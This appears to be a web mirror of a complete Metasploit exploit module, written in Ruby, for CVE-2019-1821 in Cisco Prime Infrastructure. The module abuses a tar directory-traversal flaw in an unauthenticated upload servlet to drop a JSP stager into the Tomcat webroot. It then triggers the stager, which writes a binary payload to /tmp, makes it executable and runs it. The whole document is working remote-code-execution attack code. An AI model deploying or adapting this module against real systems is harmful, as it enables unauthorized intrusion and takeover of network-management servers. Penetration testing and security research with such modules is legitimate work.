Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/cpi_tararchive_upload.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112def initialize(info={})13super(update_info(info,14'Name' => 'Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability',15'Description' => %q{16This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that17the TarArchive Java class the HA Health Monitor component uses does not check for any18directory traversals while unpacking a Tar file, which can be abused by a remote user to19leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps20directory, and gain arbitrary remote code execution. Note that authentication is not21required to exploit this vulnerability.22},23'License' => MSF_LICENSE,24'Author' =>25[26'Steven Seeley', # Original discovery, PoC27'sinn3r' # Metasploit module28],29'Platform' => 'linux',30'Arch' => ARCH_X86,31'Targets' =>32[33[ 'Cisco Prime Infrastructure 3.4.0.0', { } ]34],35'References' =>36[37['CVE', '2019-1821'],38['URL', 'https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html'],39['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce'],40['URL', 'https://srcincite.io/advisories/src-2019-0034/'],41['URL', 'https://srcincite.io/pocs/src-2019-0034.py.txt']42],43'DefaultOptions' =>44{45'RPORT' => 8082,46'SSL' => true,4748},49'Notes' =>50{51'SideEffects' => [ IOC_IN_LOGS ],52'Reliability' => [ REPEATABLE_SESSION ],53'Stability' => [ CRASH_SAFE ]54},55'Privileged' => false,56'DisclosureDate' => '2019-05-15',57'DefaultTarget' => 0))5859register_options(60[61OptPort.new('WEBPORT', [true, 'Cisco Prime Infrastructure web interface', 443]),62OptString.new('TARGETURI', [true, 'The route for Cisco Prime Infrastructure web interface', '/'])63])64end6566class CPITarArchive67attr_reader :data68attr_reader :jsp_name69attr_reader :tar_name70attr_reader :stager71attr_reader :length7273def initialize(name, stager)74@jsp_name = "#{name}.jsp"75@tar_name = "#{name}.tar"76@stager = stager77@data = make78@length = data.length79end8081def make82data = ''83path = "../../opt/CSCOlumos/tomcat/webapps/ROOT/#{jsp_name}"84tar = StringIO.new85Rex::Tar::Writer.new(tar) do |t|86t.add_file(path, 0644) do |f|87f.write(stager)88end89end90tar.seek(0)91data = tar.read92tar.close93data94end95end9697def check98res = send_request_cgi({99'rport' => datastore['WEBPORT'],100'SSL' => true,101'method' => 'GET',102'uri' => normalize_uri(target_uri.path, 'webacs', 'pages', 'common', 'login.jsp')103})104105unless res106vprint_error('No response from the server')107return CheckCode::Unknown108end109110if res.code == 200 && res.headers['Server'] && res.headers['Server'] == 'Prime'111return CheckCode::Detected112end113114CheckCode::Safe115end116117def get_jsp_stager(out_file, bin_data)118# For some reason, some of the bytes tend to get lost at the end.119# Not really sure why, but some extra bytes are added to ensure the integrity120# of the code. This file will get deleted during cleanup anyway.121%Q|<%@ page import="java.io.*" %>122<%123String data = "#{Rex::Text.to_hex(bin_data, '')}";124FileOutputStream outputstream = new FileOutputStream("#{out_file}");125int numbytes = data.length();126byte[] bytes = new byte[numbytes/2];127for (int counter = 0; counter < numbytes; counter += 2)128{129char char1 = (char) data.charAt(counter);130char char2 = (char) data.charAt(counter + 1);131int comb = Character.digit(char1, 16) & 0xff;132comb <<= 4;133comb += Character.digit(char2, 16) & 0xff;134bytes[counter/2] = (byte)comb;135}136outputstream.write(bytes);137outputstream.close();138try {139Runtime.getRuntime().exec("chmod +x #{out_file}");140Runtime.getRuntime().exec("#{out_file}");141} catch (IOException exp) {}142%>#{Rex::Text.rand_text_alpha(30)}|143end144145def make_tar146elf_name = "/tmp/#{Rex::Text.rand_text_alpha(10)}.bin"147register_file_for_cleanup(elf_name)148elf = generate_payload_exe(code: payload.encoded)149jsp_stager = get_jsp_stager(elf_name, elf)150tar_name = Rex::Text.rand_text_alpha(10)151register_file_for_cleanup("apache-tomcat-8.5.16/webapps/ROOT/#{tar_name}.jsp")152CPITarArchive.new(tar_name, jsp_stager)153end154155def execute_payload(tar)156# Once executed, we are at:157# /opt/CSCOlumos158send_request_cgi({159'rport' => datastore['WEBPORT'],160'SSL' => true,161'method' => 'GET',162'uri' => normalize_uri(target_uri.path, tar.jsp_name)163})164end165166def upload_tar(tar)167post_data = Rex::MIME::Message.new168post_data.add_part(tar.data, nil, nil, "form-data; name=\"files\"; filename=\"#{tar.tar_name}\"")169170# The file gets uploaded to this path on the server:171# /opt/CSCOlumos/apache-tomcat-8.5.16/webapps/ROOT/tar_name.jsp172res = send_request_cgi({173'method' => 'POST',174'uri' => normalize_uri(target_uri.path, 'servlet', 'UploadServlet'),175'data' => post_data.to_s,176'ctype' => "multipart/form-data; boundary=#{post_data.bound}",177'headers' =>178{179'Destination-Dir' => 'tftpRoot',180'Compressed-Archive' => 'false',181'Primary-IP' => '127.0.0.1',182'Filecount' => '1',183'Filename' => tar.tar_name,184'FileSize' => tar.length185}186})187188(res && res.code == 200)189end190191def exploit192tar = make_tar193print_status("Uploading tar file (#{tar.length} bytes)")194if upload_tar(tar)195print_status('Executing JSP stager...')196execute_payload(tar)197else198print_status("Failed to upload #{tar.tar_name}")199end200end201end202203204